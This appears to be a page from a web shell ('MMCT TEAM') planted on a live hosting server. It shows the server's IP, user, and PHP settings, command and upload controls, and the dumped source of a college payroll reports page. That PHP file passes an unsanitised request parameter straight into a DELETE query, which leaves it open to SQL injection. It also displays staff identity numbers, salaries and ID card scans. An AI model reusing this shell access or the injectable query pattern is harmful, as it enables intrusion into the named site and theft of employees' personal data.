MMCT TEAM

Server IP : 103.191.208.50 / Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON
Directory (0750) : /home/celkcksm/websites/bengaledu.e-campus.co.in/
[ Home ]	[ C0mmand ]	[ Upload File ]
Current File : /home/celkcksm/websites/bengaledu.e-campus.co.in/medemployeereports.php
<?php
include ("include/makeSession.php"); 
$installment_id=mysqli_query($con,"select * from admin where id='".$_SESSION["ecomid"]."'");
	  $installment_id=mysqli_fetch_array($installment_id); 
$installment_id=$installment_id['menuper'];
	  $menuper=explode(',',$installment_id);
	   
	   if(in_array('Manage Payrool',$menuper)){
		  
	   }else{
		 
	header("location:index.php");
		   
		}
$_SESSION['page_name']="Payroll Master";
include('include/function.php'); 
include("include/header.php");
include("include/sidebar.php");
if(isset($_REQUEST['did']) && $_REQUEST['did']!=''){
	$dovalue="";
	$doid=$_REQUEST['did'];
	
	$check=mysqli_query($con,"delete from employeeentryform where EmployeeEntryFormID='$doid'");
	
	if($check){
	$_SESSION['msg']='Record Deleted Successfully';
	}
	echo '<META HTTP-EQUIV="Refresh" Content="0; URL=medemployeereports.php">';
	exit;
}
?>
<style>
#example1 {
  overflow: auto;
}
</style>
<div class="content-wrapper">
  <section class="content-header">
    <h1> Faculty Reports</h1>
    <ol class="breadcrumb">
      <li><a href="#"><i class="fa fa-dashboard"></i> Home</a></li>
      <li><a href="#">Faculty Reports</a></li>
    </ol>
  </section>
  <!-- Main content -->
  <section class="content">
    <div class="row">
      <div class="col-xs-12">
	    <?php if(!empty($_SESSION['msg'])){
			  $msg=$_SESSION["msg"];
           echo '<div class="col-md-12">
			<div class="alert alert-success alert-dismissible">
  <a href="#" class="close" data-dismiss="alert" aria-label="close">&times;</a>
  '.$msg.'
		  </div>'; $_SESSION["msg"]='';} ?>
        <div class="box">
          <div class="box-header">
            <h3 class="box-title">Faculty Reports :</h3>
          </div><!-- /.box-header -->
          <div class="box-body" style="overflow-x: scroll;">
		  		
            <table id="example1" class="table table-bordered table-striped dataTables_wrapper" style="width:100%">
			
              <thead>
                <tr>
                  <th>No</th>
                  <th scope="col">Faculty Id</th>
                  <th scope="col">Name</th>
				  <th scope="col">Photo</th>
                  <th scope="col">Address</th>
                  <th scope="col">Qualification </th>
                  <th scope="col">Subject</th>
                  <th scope="col">LastCompanyJob</th>
				 <!--  <th scope="col">Exprience</th>  -->
				   <th scope="col">Mobile No </th>
				    <th scope="col">Aadhar No</th>
					 <th scope="col">Pan No</th>
				    <th scope="col">PF No</th>
					<th scope="col">Email</th>
					<th scope="col">Casual Leave</th>
					<th scope="col">Medical Leave</th>
					<!--<th scope="col">CL</th>  -->
				<!--	<th scope="col">ML</th>  -->
					<th scope="col">Basic</th>
				<!--	<th scope="col">HRA</th>
					<th scope="col">TA</th>
					<th scope="col">DA</th>
					<th scope="col">PF</th>
					<th scope="col">ITAX</th>
					<th scope="col">PTAX</th>  -->
					<th scope="col">DOJ</th>
					<th scope="col">Confirmation Date</th>
					<th scope="col">Aadhar Card</th>
					<th scope="col">Pan Card</th>
					<th scope="col">Entry Name</th>
				  <?php if(!empty($_SESSION["ecomid"]) && $_SESSION["ecomid"]==1 ){ ?>
				  <th scope="col">Action</th>
				  <?php } ?>
                </tr>
              </thead>
              <tbody>
              <?php $Query=mysqli_query($con,"select *,employeeentryform.EmployeeEntryFormID as sid,employeeentryform.email as emails from
			  employeeentryform left JOIN departmentmaster as departmentmaster ON 
			  employeeentryform.DepartmentName=departmentmaster.DepartmentID left JOIN
			  designationmaster as designationmaster ON employeeentryform.DesignationName=
			  designationmaster.DesignationID left JOIN
			  admin as admin ON employeeentryform.user_id=
			  admin.id  where employeeentryform.resign='1'");
			  		$i = 1;	
	  				  while($Row=mysqli_fetch_array($Query)){ ?>
                    <tr>
					 <td><?php echo $i; ?></td>
                      <td><?php echo $Row['empid']; ?></td>	
                         
                      <td><span id="ContentPlaceHolder1_GridViewEnquiry_LabelStudentFirstName_0"><?=$Row['EmployeeName'];?></span></td>
					   <td><img src="images/MarksheetPhoto/<?php echo $Row['Photo'];?>" height="70" width="70" /></td>
                      <td><span id="ContentPlaceHolder1_GridViewEnquiry_LabelMobile_0"><?=$Row['EmployeeAddress'];?></span></td>
                      <td><span id="ContentPlaceHolder1_GridViewEnquiry_LabelLastQualification_0"><?=$Row['qualification'];?></span></td>
                      <td><span id="ContentPlaceHolder1_GridViewEnquiry_LabelApplicationTypeName_0"><?=$Row['subject'];?></span></td>
                      <td><span id="ContentPlaceHolder1_GridViewEnquiry_LabelCastName_0"><?=$Row['LastCompanyJob'];?></span></td>
					  <!-- <td><span id="ContentPlaceHolder1_GridViewEnquiry_LabelCastName_0"><?php //$Row['days'];?>/
					   <?php //$Row['months'];?>/<?php //$Row['years'];?></span></td>  -->
					    <td><span id="ContentPlaceHolder1_GridViewEnquiry_LabelCastName_0">
						<?=$Row['mobileno'];?></span></td>
						 <td><span id="ContentPlaceHolder1_GridViewEnquiry_LabelCastName_0">
						<?=$Row['AdharNo'];?></span></td>
							 <td><span id="ContentPlaceHolder1_GridViewEnquiry_LabelCastName_0">
						<?=$Row['PanNo'];?></span></td>
						 <td><span id="ContentPlaceHolder1_GridViewEnquiry_LabelCastName_0">
						<?=$Row['PFNo'];?></span></td>
						<td><span id="ContentPlaceHolder1_GridViewEnquiry_LabelCastName_0">
						<?=$Row['emails'];?></span></td>
					  	<td><span id="ContentPlaceHolder1_GridViewEnquiry_LabelCastName_0">
						<?=$Row['EL'];?></span></td>
							<td><span id="ContentPlaceHolder1_GridViewEnquiry_LabelCastName_0">
						<?=$Row['Medical'];?></span></td>
					<!--	<td><span id="ContentPlaceHolder1_GridViewEnquiry_LabelCastName_0">
						<?php //$Row['CL'];?></span></td>  -->
					<!--	<td><span id="ContentPlaceHolder1_GridViewEnquiry_LabelCastName_0">
						<?php //$Row['ML'];?></span></td>  -->
							<td><span id="ContentPlaceHolder1_GridViewEnquiry_LabelCastName_0">
						<?=$Row['basic'];?></span></td>
					<!--	<td><span id="ContentPlaceHolder1_GridViewEnquiry_LabelCastName_0">
						<?php //$Row['hra'];?></span></td>
						<td><span id="ContentPlaceHolder1_GridViewEnquiry_LabelCastName_0">
						<?php //$Row['ta'];?></span></td>
						<td><span id="ContentPlaceHolder1_GridViewEnquiry_LabelCastName_0">
						<?php //$Row['da'];?></span></td>
						<td><span id="ContentPlaceHolder1_GridViewEnquiry_LabelCastName_0">
						<?php //$Row['pf'];?></span></td>
						<td><span id="ContentPlaceHolder1_GridViewEnquiry_LabelCastName_0">
						<?php //$Row['itax'];?></span></td>
						<td><span id="ContentPlaceHolder1_GridViewEnquiry_LabelCastName_0">
						<?php //$Row['ptax'];?></span></td>-->
						<td><span id="ContentPlaceHolder1_GridViewEnquiry_LabelCastName_0">  
						<?=$Row['DOJ'];?></span></td>
						<td><span id="ContentPlaceHolder1_GridViewEnquiry_LabelCastName_0">
						<?=$Row['ConfirmationDate'];?></span></td>
						<td><span id="ContentPlaceHolder1_GridViewEnquiry_LabelCastName_0">
						<a href="images/MarksheetPhoto/<?php echo $Row['AadhaarCard'];?>">
						<img src="images/MarksheetPhoto/<?php echo $Row['AadhaarCard'];?>" height="70" width="70" />
						</a>
						</span></td>
						<td><span id="ContentPlaceHolder1_GridViewEnquiry_LabelCastName_0">
						<a href="images/MarksheetPhoto/<?php echo $Row['PanCard'];?>">
						<img src="images/MarksheetPhoto/<?php echo $Row['PanCard'];?>" height="70" width="70" />
						</a></span></td>
						<td><span id="ContentPlaceHolder1_GridViewEnquiry_LabelCastName_0">
						<?=$Row['username'];?></span></td>
						
					  <?php if(!empty($_SESSION["ecomid"]) && $_SESSION["ecomid"]==1){ ?>
					  <td><a href="./MEDEmployeeEntry.php?upid=<?php echo $Row["sid"]; ?>"><i class="fa fa-pencil text-yellow"></i></a>&nbsp;&nbsp; <a href="?did=<?php echo $Row["sid"]; ?>" onclick="return confirm_click();"><i class="fa fa-remove text-red"></i></a></td> <?php }?>

                    </tr>                
                <?php $i++;} ?>                    
              </tbody>
            </table>
          </div><!-- /.box-body -->
        </div><!-- /.box -->
      </div><!-- /.col -->
    </div><!-- /.row -->
  </section><!-- /.content -->
</div><!-- /.content-wrapper -->
<!-- footer start -->
<?php
include('include/footer.php');
?>
<!-- footer end -->
<!-- DataTables -->
<script src="plugins/datatables/jquery.dataTables.min.js"  type="text/javascript"></script>
<script src="plugins/datatables/dataTables.bootstrap.min.js"  type="text/javascript"></script>
<script src="bootstrap/js/dataTables.buttons.min.js"  type="text/javascript"></script>

<script src="bootstrap/js/jszip.min.js"  type="text/javascript"></script>

<script src="bootstrap/js/pdfmake.min.js"  type="text/javascript"></script>
<script src="bootstrap/js/vfs_fonts.js"  type="text/javascript"></script>
<script src="bootstrap/js/buttons.html5.min.js"  type="text/javascript"></script>
<script src="bootstrap/js/buttons.print.min.js"  type="text/javascript"></script>

<script src="bootstrap/js/buttons.colVis.min.js"  type="text/javascript"></script>
<script src="bootstrap/js/buttons.flash.min.js"  type="text/javascript"></script>

<script  type="text/javascript">
$(document).ready(function() {
    $('#example1').DataTable( {
        dom: 'Bfrtip',
        columnDefs: [
            {
                targets: 1,
                className: 'noVis'
            }
        ],
        buttons: [
            {
                extend: 'colvis',
                columns: ':not(.noVis)'
            }
        ],
		 buttons: [
		  { extend: 'colvis', text: 'COLOUMNS' },
		 { extend: 'csv', text: 'Export to CSV' },
		 { extend: 'excel', text: 'Export to Excel' },
           { extend: 'pdfHtml5', text: 'Create PDF', orientation: 'landscape', exportOptions: { columns: ':visible' } },
{ extend: 'print', text: 'Print', exportOptions:{columns: ':visible',autoPrint: true}}
        ],
		
    } );
} );
	//$(function () {
	//$("#example1").DataTable();
	
	//});
</script>
MMCT - 2023